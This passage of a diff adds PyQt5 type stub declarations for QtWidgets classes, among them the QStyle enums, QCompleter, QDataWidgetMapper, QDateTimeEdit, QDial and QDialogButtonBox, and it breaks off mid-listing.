QStyle.SubElement + SE_TabBarTearIndicatorLeft = ... # type: QStyle.SubElement + SE_TabBarScrollLeftButton = ... # type: QStyle.SubElement + SE_TabBarScrollRightButton = ... # type: QStyle.SubElement + SE_TabBarTearIndicatorRight = ... # type: QStyle.SubElement + SE_PushButtonBevel = ... # type: QStyle.SubElement + SE_CustomBase = ... # type: QStyle.SubElement + + class ControlElement(int): + CE_PushButton = ... # type: QStyle.ControlElement + CE_PushButtonBevel = ... # type: QStyle.ControlElement + CE_PushButtonLabel = ... # type: QStyle.ControlElement + CE_CheckBox = ... # type: QStyle.ControlElement + CE_CheckBoxLabel = ... # type: QStyle.ControlElement + CE_RadioButton = ... # type: QStyle.ControlElement + CE_RadioButtonLabel = ... # type: QStyle.ControlElement + CE_TabBarTab = ... # type: QStyle.ControlElement + CE_TabBarTabShape = ... # type: QStyle.ControlElement + CE_TabBarTabLabel = ... # type: QStyle.ControlElement + CE_ProgressBar = ... # type: QStyle.ControlElement + CE_ProgressBarGroove = ... # type: QStyle.ControlElement + CE_ProgressBarContents = ... # type: QStyle.ControlElement + CE_ProgressBarLabel = ... # type: QStyle.ControlElement + CE_MenuItem = ... # type: QStyle.ControlElement + CE_MenuScroller = ... # type: QStyle.ControlElement + CE_MenuVMargin = ... # type: QStyle.ControlElement + CE_MenuHMargin = ... # type: QStyle.ControlElement + CE_MenuTearoff = ... # type: QStyle.ControlElement + CE_MenuEmptyArea = ... # type: QStyle.ControlElement + CE_MenuBarItem = ... # type: QStyle.ControlElement + CE_MenuBarEmptyArea = ... # type: QStyle.ControlElement + CE_ToolButtonLabel = ... # type: QStyle.ControlElement + CE_Header = ... # type: QStyle.ControlElement + CE_HeaderSection = ... # type: QStyle.ControlElement + CE_HeaderLabel = ... # type: QStyle.ControlElement + CE_ToolBoxTab = ... # type: QStyle.ControlElement + CE_SizeGrip = ... # type: QStyle.ControlElement + CE_Splitter = ... # type: QStyle.ControlElement + CE_RubberBand = ... # type: QStyle.ControlElement + CE_DockWidgetTitle = ... # type: QStyle.ControlElement + CE_ScrollBarAddLine = ... # type: QStyle.ControlElement + CE_ScrollBarSubLine = ... # type: QStyle.ControlElement + CE_ScrollBarAddPage = ... # type: QStyle.ControlElement + CE_ScrollBarSubPage = ... # type: QStyle.ControlElement + CE_ScrollBarSlider = ... # type: QStyle.ControlElement + CE_ScrollBarFirst = ... # type: QStyle.ControlElement + CE_ScrollBarLast = ... # type: QStyle.ControlElement + CE_FocusFrame = ... # type: QStyle.ControlElement + CE_ComboBoxLabel = ... # type: QStyle.ControlElement + CE_ToolBar = ... # type: QStyle.ControlElement + CE_ToolBoxTabShape = ... # type: QStyle.ControlElement + CE_ToolBoxTabLabel = ... # type: QStyle.ControlElement + CE_HeaderEmptyArea = ... # type: QStyle.ControlElement + CE_ColumnViewGrip = ... # type: QStyle.ControlElement + CE_ItemViewItem = ... # type: QStyle.ControlElement + CE_ShapedFrame = ... # type: QStyle.ControlElement + CE_CustomBase = ... # type: QStyle.ControlElement + + class PrimitiveElement(int): + PE_Frame = ... # type: QStyle.PrimitiveElement + PE_FrameDefaultButton = ... # type: QStyle.PrimitiveElement + PE_FrameDockWidget = ... # type: QStyle.PrimitiveElement + PE_FrameFocusRect = ... # type: QStyle.PrimitiveElement + PE_FrameGroupBox = ... # type: QStyle.PrimitiveElement + PE_FrameLineEdit = ... # type: QStyle.PrimitiveElement + PE_FrameMenu = ... # type: QStyle.PrimitiveElement + PE_FrameStatusBar = ... # type: QStyle.PrimitiveElement + PE_FrameTabWidget = ... # type: QStyle.PrimitiveElement + PE_FrameWindow = ... # type: QStyle.PrimitiveElement + PE_FrameButtonBevel = ... # type: QStyle.PrimitiveElement + PE_FrameButtonTool = ... # type: QStyle.PrimitiveElement + PE_FrameTabBarBase = ... # type: QStyle.PrimitiveElement + PE_PanelButtonCommand = ... # type: QStyle.PrimitiveElement + PE_PanelButtonBevel = ... # type: QStyle.PrimitiveElement + PE_PanelButtonTool = ... # type: QStyle.PrimitiveElement + PE_PanelMenuBar = ... # type: QStyle.PrimitiveElement + PE_PanelToolBar = ... # type: QStyle.PrimitiveElement + PE_PanelLineEdit = ... # type: QStyle.PrimitiveElement + PE_IndicatorArrowDown = ... # type: QStyle.PrimitiveElement + PE_IndicatorArrowLeft = ... # type: QStyle.PrimitiveElement + PE_IndicatorArrowRight = ... # type: QStyle.PrimitiveElement + PE_IndicatorArrowUp = ... # type: QStyle.PrimitiveElement + PE_IndicatorBranch = ... # type: QStyle.PrimitiveElement + PE_IndicatorButtonDropDown = ... # type: QStyle.PrimitiveElement + PE_IndicatorViewItemCheck = ... # type: QStyle.PrimitiveElement + PE_IndicatorCheckBox = ... # type: QStyle.PrimitiveElement + PE_IndicatorDockWidgetResizeHandle = ... # type: QStyle.PrimitiveElement + PE_IndicatorHeaderArrow = ... # type: QStyle.PrimitiveElement + PE_IndicatorMenuCheckMark = ... # type: QStyle.PrimitiveElement + PE_IndicatorProgressChunk = ... # type: QStyle.PrimitiveElement + PE_IndicatorRadioButton = ... # type: QStyle.PrimitiveElement + PE_IndicatorSpinDown = ... # type: QStyle.PrimitiveElement + PE_IndicatorSpinMinus = ... # type: QStyle.PrimitiveElement + PE_IndicatorSpinPlus = ... # type: QStyle.PrimitiveElement + PE_IndicatorSpinUp = ... # type: QStyle.PrimitiveElement + PE_IndicatorToolBarHandle = ... # type: QStyle.PrimitiveElement + PE_IndicatorToolBarSeparator = ... # type: QStyle.PrimitiveElement + PE_PanelTipLabel = ... # type: QStyle.PrimitiveElement + PE_IndicatorTabTear = ... # type: QStyle.PrimitiveElement + PE_PanelScrollAreaCorner = ... # type: QStyle.PrimitiveElement + PE_Widget = ... # type: QStyle.PrimitiveElement + PE_IndicatorColumnViewArrow = ... # type: QStyle.PrimitiveElement + PE_FrameStatusBarItem = ... # type: QStyle.PrimitiveElement + PE_IndicatorItemViewItemCheck = ... # type: QStyle.PrimitiveElement + PE_IndicatorItemViewItemDrop = ... # type: QStyle.PrimitiveElement + PE_PanelItemViewItem = ... # type: QStyle.PrimitiveElement + PE_PanelItemViewRow = ... # type: QStyle.PrimitiveElement + PE_PanelStatusBar = ... # type: QStyle.PrimitiveElement + PE_IndicatorTabClose = ... # type: QStyle.PrimitiveElement + PE_PanelMenu = ... # type: QStyle.PrimitiveElement + PE_IndicatorTabTearLeft = ... # type: QStyle.PrimitiveElement + PE_IndicatorTabTearRight = ... # type: QStyle.PrimitiveElement + PE_CustomBase = ... # type: QStyle.PrimitiveElement + + class StateFlag(int): + State_None = ... # type: QStyle.StateFlag + State_Enabled = ... # type: QStyle.StateFlag + State_Raised = ... # type: QStyle.StateFlag + State_Sunken = ... # type: QStyle.StateFlag + State_Off = ... # type: QStyle.StateFlag + State_NoChange = ... # type: QStyle.StateFlag + State_On = ... # type: QStyle.StateFlag + State_DownArrow = ... # type: QStyle.StateFlag + State_Horizontal = ... # type: QStyle.StateFlag + State_HasFocus = ... # type: QStyle.StateFlag + State_Top = ... # type: QStyle.StateFlag + State_Bottom = ... # type: QStyle.StateFlag + State_FocusAtBorder = ... # type: QStyle.StateFlag + State_AutoRaise = ... # type: QStyle.StateFlag + State_MouseOver = ... # type: QStyle.StateFlag + State_UpArrow = ... # type: QStyle.StateFlag + State_Selected = ... # type: QStyle.StateFlag + State_Active = ... # type: QStyle.StateFlag + State_Open = ... # type: QStyle.StateFlag + State_Children = ... # type: QStyle.StateFlag + State_Item = ... # type: QStyle.StateFlag + State_Sibling = ... # type: QStyle.StateFlag + State_Editing = ... # type: QStyle.StateFlag + State_KeyboardFocusChange = ... # type: QStyle.StateFlag + State_ReadOnly = ... # type: QStyle.StateFlag + State_Window = ... # type: QStyle.StateFlag + State_Small = ... # type: QStyle.StateFlag + State_Mini = ... # type: QStyle.StateFlag + + class State(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QStyle.State', 'QStyle.StateFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QStyle.State') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QStyle.State': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class SubControls(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QStyle.SubControls', 'QStyle.SubControl']) -> None: ... + @typing.overload + def __init__(self, a0: 'QStyle.SubControls') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QStyle.SubControls': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self) -> None: ... + + def proxy(self) -> 'QStyle': ... + def combinedLayoutSpacing(self, controls1: typing.Union['QSizePolicy.ControlTypes', 'QSizePolicy.ControlType'], controls2: typing.Union['QSizePolicy.ControlTypes', 'QSizePolicy.ControlType'], orientation: QtCore.Qt.Orientation, option: typing.Optional['QStyleOption'] = ..., widget: typing.Optional[QWidget] = ...) -> int: ... + def layoutSpacing(self, control1: 'QSizePolicy.ControlType', control2: 'QSizePolicy.ControlType', orientation: QtCore.Qt.Orientation, option: typing.Optional['QStyleOption'] = ..., widget: typing.Optional[QWidget] = ...) -> int: ... + @staticmethod + def alignedRect(direction: QtCore.Qt.LayoutDirection, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag], size: QtCore.QSize, rectangle: QtCore.QRect) -> QtCore.QRect: ... + @staticmethod + def visualAlignment(direction: QtCore.Qt.LayoutDirection, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> QtCore.Qt.Alignment: ... + @staticmethod + def sliderValueFromPosition(min: int, max: int, position: int, span: int, upsideDown: bool = ...) -> int: ... + @staticmethod + def sliderPositionFromValue(min: int, max: int, logicalValue: int, span: int, upsideDown: bool = ...) -> int: ... + @staticmethod + def visualPos(direction: QtCore.Qt.LayoutDirection, boundingRect: QtCore.QRect, logicalPos: QtCore.QPoint) -> QtCore.QPoint: ... + @staticmethod + def visualRect(direction: QtCore.Qt.LayoutDirection, boundingRect: QtCore.QRect, logicalRect: QtCore.QRect) -> QtCore.QRect: ... + def generatedIconPixmap(self, iconMode: QtGui.QIcon.Mode, pixmap: QtGui.QPixmap, opt: 'QStyleOption') -> QtGui.QPixmap: ... + def standardIcon(self, standardIcon: 'QStyle.StandardPixmap', option: typing.Optional['QStyleOption'] = ..., widget: typing.Optional[QWidget] = ...) -> QtGui.QIcon: ... + def standardPixmap(self, standardPixmap: 'QStyle.StandardPixmap', option: typing.Optional['QStyleOption'] = ..., widget: typing.Optional[QWidget] = ...) -> QtGui.QPixmap: ... + def styleHint(self, stylehint: 'QStyle.StyleHint', option: typing.Optional['QStyleOption'] = ..., widget: typing.Optional[QWidget] = ..., returnData: typing.Optional['QStyleHintReturn'] = ...) -> int: ... + def sizeFromContents(self, ct: 'QStyle.ContentsType', opt: 'QStyleOption', contentsSize: QtCore.QSize, widget: typing.Optional[QWidget] = ...) -> QtCore.QSize: ... + def pixelMetric(self, metric: 'QStyle.PixelMetric', option: typing.Optional['QStyleOption'] = ..., widget: typing.Optional[QWidget] = ...) -> int: ... + def subControlRect(self, cc: 'QStyle.ComplexControl', opt: 'QStyleOptionComplex', sc: 'QStyle.SubControl', widget: typing.Optional[QWidget] = ...) -> QtCore.QRect: ... + def hitTestComplexControl(self, cc: 'QStyle.ComplexControl', opt: 'QStyleOptionComplex', pt: QtCore.QPoint, widget: typing.Optional[QWidget] = ...) -> 'QStyle.SubControl': ... + def drawComplexControl(self, cc: 'QStyle.ComplexControl', opt: 'QStyleOptionComplex', p: QtGui.QPainter, widget: typing.Optional[QWidget] = ...) -> None: ... + def subElementRect(self, subElement: 'QStyle.SubElement', option: 'QStyleOption', widget: typing.Optional[QWidget] = ...) -> QtCore.QRect: ... + def drawControl(self, element: 'QStyle.ControlElement', opt: 'QStyleOption', p: QtGui.QPainter, widget: typing.Optional[QWidget] = ...) -> None: ... + def drawPrimitive(self, pe: 'QStyle.PrimitiveElement', opt: 'QStyleOption', p: QtGui.QPainter, widget: typing.Optional[QWidget] = ...) -> None: ... + def standardPalette(self) -> QtGui.QPalette: ... + def drawItemPixmap(self, painter: QtGui.QPainter, rect: QtCore.QRect, alignment: int, pixmap: QtGui.QPixmap) -> None: ... + def drawItemText(self, painter: QtGui.QPainter, rectangle: QtCore.QRect, alignment: int, palette: QtGui.QPalette, enabled: bool, text: str, textRole: QtGui.QPalette.ColorRole = ...) -> None: ... + def itemPixmapRect(self, r: QtCore.QRect, flags: int, pixmap: QtGui.QPixmap) -> QtCore.QRect: ... + def itemTextRect(self, fm: QtGui.QFontMetrics, r: QtCore.QRect, flags: int, enabled: bool, text: str) -> QtCore.QRect: ... + @typing.overload + def unpolish(self, a0: QWidget) -> None: ... + @typing.overload + def unpolish(self, a0: QApplication) -> None: ... + @typing.overload + def polish(self, a0: QWidget) -> None: ... + @typing.overload + def polish(self, a0: QApplication) -> None: ... + @typing.overload + def polish(self, a0: QtGui.QPalette) -> QtGui.QPalette: ... + + +class QCommonStyle(QStyle): + + def __init__(self) -> None: ... + + def layoutSpacing(self, control1: 'QSizePolicy.ControlType', control2: 'QSizePolicy.ControlType', orientation: QtCore.Qt.Orientation, option: typing.Optional['QStyleOption'] = ..., widget: typing.Optional[QWidget] = ...) -> int: ... + def standardIcon(self, standardIcon: QStyle.StandardPixmap, option: typing.Optional['QStyleOption'] = ..., widget: typing.Optional[QWidget] = ...) -> QtGui.QIcon: ... + def generatedIconPixmap(self, iconMode: QtGui.QIcon.Mode, pixmap: QtGui.QPixmap, opt: 'QStyleOption') -> QtGui.QPixmap: ... + def standardPixmap(self, sp: QStyle.StandardPixmap, option: typing.Optional['QStyleOption'] = ..., widget: typing.Optional[QWidget] = ...) -> QtGui.QPixmap: ... + def styleHint(self, sh: QStyle.StyleHint, option: typing.Optional['QStyleOption'] = ..., widget: typing.Optional[QWidget] = ..., returnData: typing.Optional['QStyleHintReturn'] = ...) -> int: ... + def pixelMetric(self, m: QStyle.PixelMetric, option: typing.Optional['QStyleOption'] = ..., widget: typing.Optional[QWidget] = ...) -> int: ... + def sizeFromContents(self, ct: QStyle.ContentsType, opt: 'QStyleOption', contentsSize: QtCore.QSize, widget: typing.Optional[QWidget] = ...) -> QtCore.QSize: ... + def subControlRect(self, cc: QStyle.ComplexControl, opt: 'QStyleOptionComplex', sc: QStyle.SubControl, widget: typing.Optional[QWidget] = ...) -> QtCore.QRect: ... + def hitTestComplexControl(self, cc: QStyle.ComplexControl, opt: 'QStyleOptionComplex', pt: QtCore.QPoint, widget: typing.Optional[QWidget] = ...) -> QStyle.SubControl: ... + def drawComplexControl(self, cc: QStyle.ComplexControl, opt: 'QStyleOptionComplex', p: QtGui.QPainter, widget: typing.Optional[QWidget] = ...) -> None: ... + def subElementRect(self, r: QStyle.SubElement, opt: 'QStyleOption', widget: typing.Optional[QWidget] = ...) -> QtCore.QRect: ... + def drawControl(self, element: QStyle.ControlElement, opt: 'QStyleOption', p: QtGui.QPainter, widget: typing.Optional[QWidget] = ...) -> None: ... + def drawPrimitive(self, pe: QStyle.PrimitiveElement, opt: 'QStyleOption', p: QtGui.QPainter, widget: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def unpolish(self, widget: QWidget) -> None: ... + @typing.overload + def unpolish(self, application: QApplication) -> None: ... + @typing.overload + def polish(self, widget: QWidget) -> None: ... + @typing.overload + def polish(self, app: QApplication) -> None: ... + @typing.overload + def polish(self, a0: QtGui.QPalette) -> QtGui.QPalette: ... + + +class QCompleter(QtCore.QObject): + + class ModelSorting(int): + UnsortedModel = ... # type: QCompleter.ModelSorting + CaseSensitivelySortedModel = ... # type: QCompleter.ModelSorting + CaseInsensitivelySortedModel = ... # type: QCompleter.ModelSorting + + class CompletionMode(int): + PopupCompletion = ... # type: QCompleter.CompletionMode + UnfilteredPopupCompletion = ... # type: QCompleter.CompletionMode + InlineCompletion = ... # type: QCompleter.CompletionMode + + @typing.overload + def __init__(self, model: QtCore.QAbstractItemModel, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, list: typing.Iterable[str], parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def filterMode(self) -> QtCore.Qt.MatchFlags: ... + def setFilterMode(self, filterMode: typing.Union[QtCore.Qt.MatchFlags, QtCore.Qt.MatchFlag]) -> None: ... + def setMaxVisibleItems(self, maxItems: int) -> None: ... + def maxVisibleItems(self) -> int: ... + @typing.overload + def highlighted(self, text: str) -> None: ... + @typing.overload + def highlighted(self, index: QtCore.QModelIndex) -> None: ... + @typing.overload + def activated(self, text: str) -> None: ... + @typing.overload + def activated(self, index: QtCore.QModelIndex) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def eventFilter(self, o: QtCore.QObject, e: QtCore.QEvent) -> bool: ... + def setWrapAround(self, wrap: bool) -> None: ... + def setCompletionPrefix(self, prefix: str) -> None: ... + def complete(self, rect: QtCore.QRect = ...) -> None: ... + def wrapAround(self) -> bool: ... + def splitPath(self, path: str) -> typing.List[str]: ... + def pathFromIndex(self, index: QtCore.QModelIndex) -> str: ... + def completionPrefix(self) -> str: ... + def completionModel(self) -> QtCore.QAbstractItemModel: ... + def currentCompletion(self) -> str: ... + def currentIndex(self) -> QtCore.QModelIndex: ... + def currentRow(self) -> int: ... + def setCurrentRow(self, row: int) -> bool: ... + def completionCount(self) -> int: ... + def completionRole(self) -> int: ... + def setCompletionRole(self, role: int) -> None: ... + def completionColumn(self) -> int: ... + def setCompletionColumn(self, column: int) -> None: ... + def modelSorting(self) -> 'QCompleter.ModelSorting': ... + def setModelSorting(self, sorting: 'QCompleter.ModelSorting') -> None: ... + def caseSensitivity(self) -> QtCore.Qt.CaseSensitivity: ... + def setCaseSensitivity(self, caseSensitivity: QtCore.Qt.CaseSensitivity) -> None: ... + def setPopup(self, popup: QAbstractItemView) -> None: ... + def popup(self) -> QAbstractItemView: ... + def completionMode(self) -> 'QCompleter.CompletionMode': ... + def setCompletionMode(self, mode: 'QCompleter.CompletionMode') -> None: ... + def model(self) -> QtCore.QAbstractItemModel: ... + def setModel(self, c: QtCore.QAbstractItemModel) -> None: ... + def widget(self) -> QWidget: ... + def setWidget(self, widget: QWidget) -> None: ... + + +class QDataWidgetMapper(QtCore.QObject): + + class SubmitPolicy(int): + AutoSubmit = ... # type: QDataWidgetMapper.SubmitPolicy + ManualSubmit = ... # type: QDataWidgetMapper.SubmitPolicy + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def currentIndexChanged(self, index: int) -> None: ... + def toPrevious(self) -> None: ... + def toNext(self) -> None: ... + def toLast(self) -> None: ... + def toFirst(self) -> None: ... + def submit(self) -> bool: ... + def setCurrentModelIndex(self, index: QtCore.QModelIndex) -> None: ... + def setCurrentIndex(self, index: int) -> None: ... + def revert(self) -> None: ... + def currentIndex(self) -> int: ... + def clearMapping(self) -> None: ... + def mappedWidgetAt(self, section: int) -> QWidget: ... + def mappedSection(self, widget: QWidget) -> int: ... + def mappedPropertyName(self, widget: QWidget) -> QtCore.QByteArray: ... + def removeMapping(self, widget: QWidget) -> None: ... + @typing.overload + def addMapping(self, widget: QWidget, section: int) -> None: ... + @typing.overload + def addMapping(self, widget: QWidget, section: int, propertyName: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def submitPolicy(self) -> 'QDataWidgetMapper.SubmitPolicy': ... + def setSubmitPolicy(self, policy: 'QDataWidgetMapper.SubmitPolicy') -> None: ... + def orientation(self) -> QtCore.Qt.Orientation: ... + def setOrientation(self, aOrientation: QtCore.Qt.Orientation) -> None: ... + def rootIndex(self) -> QtCore.QModelIndex: ... + def setRootIndex(self, index: QtCore.QModelIndex) -> None: ... + def itemDelegate(self) -> QAbstractItemDelegate: ... + def setItemDelegate(self, delegate: QAbstractItemDelegate) -> None: ... + def model(self) -> QtCore.QAbstractItemModel: ... + def setModel(self, model: QtCore.QAbstractItemModel) -> None: ... + + +class QDateTimeEdit(QAbstractSpinBox): + + class Section(int): + NoSection = ... # type: QDateTimeEdit.Section + AmPmSection = ... # type: QDateTimeEdit.Section + MSecSection = ... # type: QDateTimeEdit.Section + SecondSection = ... # type: QDateTimeEdit.Section + MinuteSection = ... # type: QDateTimeEdit.Section + HourSection = ... # type: QDateTimeEdit.Section + DaySection = ... # type: QDateTimeEdit.Section + MonthSection = ... # type: QDateTimeEdit.Section + YearSection = ... # type: QDateTimeEdit.Section + TimeSections_Mask = ... # type: QDateTimeEdit.Section + DateSections_Mask = ... # type: QDateTimeEdit.Section + + class Sections(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QDateTimeEdit.Sections', 'QDateTimeEdit.Section']) -> None: ... + @typing.overload + def __init__(self, a0: 'QDateTimeEdit.Sections') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QDateTimeEdit.Sections': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, datetime: typing.Union[QtCore.QDateTime, datetime.datetime], parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, date: typing.Union[QtCore.QDate, datetime.date], parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, time: typing.Union[QtCore.QTime, datetime.time], parent: typing.Optional[QWidget] = ...) -> None: ... + + def setCalendar(self, calendar: QtCore.QCalendar) -> None: ... + def calendar(self) -> QtCore.QCalendar: ... + def setTimeSpec(self, spec: QtCore.Qt.TimeSpec) -> None: ... + def timeSpec(self) -> QtCore.Qt.TimeSpec: ... + def setCalendarWidget(self, calendarWidget: QCalendarWidget) -> None: ... + def calendarWidget(self) -> QCalendarWidget: ... + def setDateTimeRange(self, min: typing.Union[QtCore.QDateTime, datetime.datetime], max: typing.Union[QtCore.QDateTime, datetime.datetime]) -> None: ... + def setMaximumDateTime(self, dt: typing.Union[QtCore.QDateTime, datetime.datetime]) -> None: ... + def clearMaximumDateTime(self) -> None: ... + def maximumDateTime(self) -> QtCore.QDateTime: ... + def setMinimumDateTime(self, dt: typing.Union[QtCore.QDateTime, datetime.datetime]) -> None: ... + def clearMinimumDateTime(self) -> None: ... + def minimumDateTime(self) -> QtCore.QDateTime: ... + def stepEnabled(self) -> QAbstractSpinBox.StepEnabled: ... + def textFromDateTime(self, dt: typing.Union[QtCore.QDateTime, datetime.datetime]) -> str: ... + def dateTimeFromText(self, text: str) -> QtCore.QDateTime: ... + def fixup(self, input: str) -> str: ... + def validate(self, input: str, pos: int) -> typing.Tuple[QtGui.QValidator.State, str, int]: ... + def paintEvent(self, event: QtGui.QPaintEvent) -> None: ... + def mousePressEvent(self, event: QtGui.QMouseEvent) -> None: ... + def focusNextPrevChild(self, next: bool) -> bool: ... + def focusInEvent(self, e: QtGui.QFocusEvent) -> None: ... + def wheelEvent(self, e: QtGui.QWheelEvent) -> None: ... + def keyPressEvent(self, e: QtGui.QKeyEvent) -> None: ... + def initStyleOption(self, option: 'QStyleOptionSpinBox') -> None: ... + def setTime(self, time: typing.Union[QtCore.QTime, datetime.time]) -> None: ... + def setDate(self, date: typing.Union[QtCore.QDate, datetime.date]) -> None: ... + def setDateTime(self, dateTime: typing.Union[QtCore.QDateTime, datetime.datetime]) -> None: ... + def dateChanged(self, date: typing.Union[QtCore.QDate, datetime.date]) -> None: ... + def timeChanged(self, date: typing.Union[QtCore.QTime, datetime.time]) -> None: ... + def dateTimeChanged(self, date: typing.Union[QtCore.QDateTime, datetime.datetime]) -> None: ... + def sectionCount(self) -> int: ... + def setCurrentSectionIndex(self, index: int) -> None: ... + def currentSectionIndex(self) -> int: ... + def sectionAt(self, index: int) -> 'QDateTimeEdit.Section': ... + def event(self, e: QtCore.QEvent) -> bool: ... + def stepBy(self, steps: int) -> None: ... + def clear(self) -> None: ... + def sizeHint(self) -> QtCore.QSize: ... + def setSelectedSection(self, section: 'QDateTimeEdit.Section') -> None: ... + def setCalendarPopup(self, enable: bool) -> None: ... + def calendarPopup(self) -> bool: ... + def setDisplayFormat(self, format: str) -> None: ... + def displayFormat(self) -> str: ... + def sectionText(self, s: 'QDateTimeEdit.Section') -> str: ... + def setCurrentSection(self, section: 'QDateTimeEdit.Section') -> None: ... + def currentSection(self) -> 'QDateTimeEdit.Section': ... + def displayedSections(self) -> 'QDateTimeEdit.Sections': ... + def setTimeRange(self, min: typing.Union[QtCore.QTime, datetime.time], max: typing.Union[QtCore.QTime, datetime.time]) -> None: ... + def clearMaximumTime(self) -> None: ... + def setMaximumTime(self, max: typing.Union[QtCore.QTime, datetime.time]) -> None: ... + def maximumTime(self) -> QtCore.QTime: ... + def clearMinimumTime(self) -> None: ... + def setMinimumTime(self, min: typing.Union[QtCore.QTime, datetime.time]) -> None: ... + def minimumTime(self) -> QtCore.QTime: ... + def setDateRange(self, min: typing.Union[QtCore.QDate, datetime.date], max: typing.Union[QtCore.QDate, datetime.date]) -> None: ... + def clearMaximumDate(self) -> None: ... + def setMaximumDate(self, max: typing.Union[QtCore.QDate, datetime.date]) -> None: ... + def maximumDate(self) -> QtCore.QDate: ... + def clearMinimumDate(self) -> None: ... + def setMinimumDate(self, min: typing.Union[QtCore.QDate, datetime.date]) -> None: ... + def minimumDate(self) -> QtCore.QDate: ... + def time(self) -> QtCore.QTime: ... + def date(self) -> QtCore.QDate: ... + def dateTime(self) -> QtCore.QDateTime: ... + + +class QTimeEdit(QDateTimeEdit): + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, time: typing.Union[QtCore.QTime, datetime.time], parent: typing.Optional[QWidget] = ...) -> None: ... + + +class QDateEdit(QDateTimeEdit): + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, date: typing.Union[QtCore.QDate, datetime.date], parent: typing.Optional[QWidget] = ...) -> None: ... + + +class QDesktopWidget(QWidget): + + def __init__(self) -> None: ... + + def resizeEvent(self, e: QtGui.QResizeEvent) -> None: ... + def primaryScreenChanged(self) -> None: ... + def screenCountChanged(self, a0: int) -> None: ... + def workAreaResized(self, a0: int) -> None: ... + def resized(self, a0: int) -> None: ... + @typing.overload + def availableGeometry(self, screen: int = ...) -> QtCore.QRect: ... + @typing.overload + def availableGeometry(self, widget: QWidget) -> QtCore.QRect: ... + @typing.overload + def availableGeometry(self, point: QtCore.QPoint) -> QtCore.QRect: ... + @typing.overload + def screenGeometry(self, screen: int = ...) -> QtCore.QRect: ... + @typing.overload + def screenGeometry(self, widget: QWidget) -> QtCore.QRect: ... + @typing.overload + def screenGeometry(self, point: QtCore.QPoint) -> QtCore.QRect: ... + def screenCount(self) -> int: ... + def screen(self, screen: int = ...) -> QWidget: ... + @typing.overload + def screenNumber(self, widget: typing.Optional[QWidget] = ...) -> int: ... + @typing.overload + def screenNumber(self, a0: QtCore.QPoint) -> int: ... + def primaryScreen(self) -> int: ... + def isVirtualDesktop(self) -> bool: ... + + +class QDial(QAbstractSlider): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def sliderChange(self, change: QAbstractSlider.SliderChange) -> None: ... + def mouseMoveEvent(self, me: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, me: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, me: QtGui.QMouseEvent) -> None: ... + def paintEvent(self, pe: QtGui.QPaintEvent) -> None: ... + def resizeEvent(self, re: QtGui.QResizeEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def initStyleOption(self, option: 'QStyleOptionSlider') -> None: ... + def setWrapping(self, on: bool) -> None: ... + def setNotchesVisible(self, visible: bool) -> None: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + def notchesVisible(self) -> bool: ... + def notchTarget(self) -> float: ... + def setNotchTarget(self, target: float) -> None: ... + def notchSize(self) -> int: ... + def wrapping(self) -> bool: ... + + +class QDialogButtonBox(QWidget): + + class StandardButton(int): + NoButton = ... # type: QDialogButtonBox.StandardButton + Ok = ... # type: QDialogButtonBox.StandardButton + Save = ... # type: QDialogButtonBox.StandardButton + SaveAll = ... # type: QDialogButtonBox.StandardButton + Open = ... # type: QDialogButtonBox.StandardButton + Yes = ... # type: QDialogButtonBox.StandardButton + YesToAll = ... # type: QDialogButtonBox.StandardButton + No = ... # type: QDialogButtonBox.StandardButton + NoToAll = ... # type: QDialogButtonBox.StandardButton + Abort = ... # type: QDialogButtonBox.StandardButton + Retry = ... # type: QDialogButtonBox.StandardButton + Ignore = ... # type: QDialogButtonBox.StandardButton + Close = ... # type: QDialogButtonBox.StandardButton + Cancel = ... # type: QDialogButtonBox.StandardButton + Discard = ... # type: QDialogButtonBox.StandardButton + Help = ... # type: QDialogButtonBox.StandardButton + Apply = ... # type: QDialogButtonBox.StandardButton + Reset = ... # type: QDialogButtonBox.StandardButton + RestoreDefaults = ... # type: QDialogButtonBox.StandardButton + + class ButtonRole(int): + InvalidRole = ... # type: QDialogButtonBox.ButtonRole + AcceptRole = ... # type: QDialogButtonBox.ButtonRole + RejectRole = ... # type: QDialogButtonBox.ButtonRole + DestructiveRole = ... # type: QDialogButtonBox.ButtonRole + ActionRole = ... # type: QDialogButtonBox.ButtonRole + HelpRole = ... # type: QDialogButtonBox.ButtonRole + YesRole = ... # type: QDialogButtonBox.ButtonRole + NoRole = ... # type: 